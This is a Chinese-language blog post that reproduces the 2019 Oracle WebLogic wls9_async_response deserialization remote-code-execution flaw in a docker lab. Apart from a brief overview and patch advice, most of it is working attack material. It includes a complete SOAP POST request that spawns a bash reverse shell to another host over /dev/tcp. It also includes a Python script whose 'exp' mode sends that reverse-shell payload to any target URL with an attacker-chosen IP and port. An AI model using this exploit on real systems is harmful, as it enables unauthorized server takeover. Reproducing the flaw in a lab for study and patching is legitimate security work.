Weblogic反序列化远程代码执行漏洞

Weblogic反序列化远程代码执行漏洞

Posted by 看不尽的尘埃 on June 28, 2019

4月17日,国家信息安全漏洞共享平台(CNVD)公开了Weblogic反序列化远程代码执行漏洞,此漏洞存在于weblogic自带的wls9_async_response.war组件中,由于该war包在反序列化处理输入信息时存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,获取服务器权限,实现远程代码执行。

0x00 漏洞概述

漏洞描述 该漏洞是由wls9_async_response组件导致,在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,未授权的情况下远程执行命令。部分版本WebLogic中默认包含的wls9_async_response包,主要是为WebLogic Server提供异步通讯服务。

漏洞等级:高危

漏洞编号:CNVD-C-2019-48814

影响范围

  • Oracle WebLogic Server 10.*
  • Oracle WebLogic Server 12.1.3
  • 启用bea_wls9_async_response组件的所有Weblogic版本

修复建议

  • 删除wls9_async_response的war包并重启webLogic;
  • 通过访问策略控制禁止 /_async/* 路径的URL访问。

0x01 环境搭建

我使用的是docker,比较方便。

启动docker命令如下:

systemctl start docker 

创建docker-compose.yml,内容如下:

version: '2'
services:
 weblogic:
   image: vulhub/weblogic
   ports:
    - "7001:7001"

启动测试环境命令如下:

docker-compose up -d

查看环境是否启动成功,命令如下: 图片

0x02 复现漏洞

访问如下URL:

http://10.20.40.96:7001/_async/AsyncResponseService

图片

通过burp suite repeater模块发送下面的POST数据包:

POST /_async/AsyncResponseService HTTP/1.1
Host: 10.20.40.96:7001
Content-Length: 787
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.20.40.97/7777 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

图片 最终成功反弹到了10.20.40.97上 图片

0x03 python脚本

#!/usr/bin/python
# -*- coding:utf-8 -*-
# wirter:En_dust
import requests
import sys


headers = {'content-type':'text/xml','User-Agent':'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50'}




def poc(target):
    if 'http' in target:
        url = target + '_async/AsyncResponseService'
        r =requests.get(url,timeout=2)
        if r.status_code ==200:
            print("[ + ] " + target + '可能存在Weblogic反序列化远程代码执行漏洞!' )
        else:
            print("[ - ] " +target + "不存在漏洞!")
def exp(target):
    ip = input("反弹到哪个IP?")
    port = input("反弹到哪个端口?")
    payload = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
    <soapenv:Header> 
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/%s/%s 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>
    ''' % (ip, port)
    if 'http' in target:
        url = target + '_async/AsyncResponseService'
        r = requests.post(url,headers=headers,data=payload,timeout=2)
        if r.status_code ==202:
            print("反弹成功!")




if __name__ == '__main__':
    target = sys.argv[1]
    action = sys.argv[2]
    if target != '':
        if action == '':
            exit()
        elif action == 'poc':
            poc(target)
        elif action == 'exp':
            exp(target)

效果图: 图片 图片 图片

Github下载地址